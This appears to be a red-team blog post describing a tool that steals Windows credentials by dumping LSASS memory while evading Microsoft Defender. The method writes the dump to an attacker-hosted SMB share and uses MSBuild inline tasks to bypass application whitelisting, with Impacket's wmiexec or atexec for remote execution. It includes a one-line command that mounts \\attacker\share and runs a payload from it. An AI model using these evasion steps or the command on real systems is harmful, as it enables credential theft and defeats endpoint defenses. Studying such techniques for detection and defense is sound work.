What is LSASS and why do we care about it?
LSASS stands for Local Security Authority Subsystem Service. It stores passwords and password hashes of:
- Accounts that are logged into a Windows machine
- Any other services that store credentials such as MSV, SSP, Kerberos and WDIGEST in memory.
What are the common methodologies and tactics to extract LSASS?
There are many tried-and-true methods to extract LSASS from memory, however most are detected and prevented by standard anti-malware software.
Common extraction methods include:
Procdump
Procdump is a Microsoft signed binary that allows a user to dump a process’s memory. While anti-malware does not detect Procdump as malicious because it’s signed by Microsoft, Microsoft Defender does detect Procdump dumping the LSASS process as malicious and blocks its execution against LSASS.exe.
Comsvcs.dll
Comsvcs.dll is a dll file that comes standard with any Windows installation and contains a function called MiniDump. MiniDump dumps a process’s memory to a file. Again however, while Microsoft Defender does not detect comsvcs.dll or MiniDump being used on most processes, using it on LSASS.exe will result in a detection and blockage of the dll’s execution.
Mimikatz
Mimikatz is a popular hacking tool that is used to steal credentials from Windows machines, including LSASS.exe. Due to Mimikatz’s widespread use, it is detected as malicious by most anti-malware providers.
Dbghelp.dll
Dbghelp.dll is a Windows dll file that contains a function called MiniDumpWriteDump. The MiniDumpWriteDump function also dumps a process’s memory to a file, however this action against LSASS.exe is detected as malicious by Microsoft Defender.
How can we work around these detections?
While Microsoft has locked down most of these methods quite well, there are still some loopholes that can be exploited to an attacker’s advantage. One of these methods is Dbghelp.dll’s MiniDumpWriteDump function. While MiniDumpWriteDump does get flagged as malicious when it writes LSASS.exe’s memory to a file, it’s specifically the action of writing to disk that gets spotted by antivirus. So, how can we evade this measure? By writing the file to the disk of another machine, one outside of the local antivirus’s jurisdiction and that runs on a different operating system.
To do this, we start an SMB share on our attacker Linux machine. Next, we mount that SMB share on the victim Windows machine using the net use command. Then, we will execute an EXE file with MiniDumpWriteDump set to target LSASS.exe and write the dumped memory to our newly mounted SMB share. Finally, once the dump file has been written, we just run net use /delete to remove the share we created.
Here dumping LSA to the C:\ drive gets detected because it is writing to disk:
However, here the program goes undetected when writing to our SMB share:
Defeating Windows application whitelisting.
Due to the targets that this tool is designed to be used against, there are certain security measures in place that you would not normally see in a SOHO environment – application whitelisting being one of the greatest.
Application whitelisting is what its name implies; it is a list of applications that are allowed to run on the system, where any other program not on the list will not be able to run. Since the executable we made is not signed by Microsoft, it will be denied the ability to run on a machine that has application whitelisting enabled. There are a few ways to bypass this, but for this tool we will be using the MSBuild inline task execution method. While this method is quite the mouthful, it is simple use. MSBuild is a .NET tool that comes will all Windows installations, however in version 4 of .NET, MSBuild got a new feature called “inline tasks” which allows a task to be designated within an XML file with code that can be read, built and executed all by MSBuild. This allows for unsigned applications to be run; however, the program must be written in C#.
Remote command execution
To execute MSBuild remotely, we need remote command abilities. The requirement for that is simple – an account with local administrator on the victim’s machine and a program or tool that executes the commands. The tool of choice for this project is Impacket; more specifically, their example of WMIEXEC and ATEXEC. The reason for this is that they both are simple and leave very little if any artifacts if they fail to fully execute. Using either of these scripts allows us to execute a multipart command to mount the share, execute MSBuild, and dismount the share which should look something like this:
net use Q: \\attacker\share & MSBuild.exe Q:\payload.xml & net use Q: /delete /yes
If you look closely you’ll see that we’re pointing to the SMB share on the attacker’s machine for the payload.xml file that contains our inline task. Since we mount the share before executing the payload, it is much harder to detect. Because we’re also hosting the payload on the SMB share, we effectively prevent the local antivirus from being able to scan it.
Automation
With all the pieces of the puzzle put together, we then automate the process into a usable tool. Simply put, the tool creates an SMB server through smbd and then executes WMIEXEC or ATEXEC to run our one-liner payload which then runs our inline task payload.
The full source code for this tool can be found on Github here.
